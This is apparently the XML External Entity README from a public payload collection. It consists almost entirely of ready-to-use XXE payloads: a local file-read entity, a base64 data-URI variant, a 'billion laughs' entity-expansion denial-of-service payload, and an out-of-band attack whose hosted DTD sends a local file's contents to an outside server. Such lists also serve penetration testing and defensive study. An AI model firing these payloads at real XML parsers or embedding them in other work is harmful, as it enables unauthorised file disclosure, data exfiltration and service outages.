PayloadsAllTheThings/XXE files/README.md

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# XML External Entity
An XML External Entity attack is a type of attack against an application that parses XML input
## Exploit
Classic XXE
```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
```
Classic XXE Base64 encoded
```
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,PCFF...Cg=="> %init; ]><foo/>
```
Deny Of Service - Billion Laugh Attack
```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
XXE OOB Attack (Yunusov, 2013)
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
```
## Thanks to
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing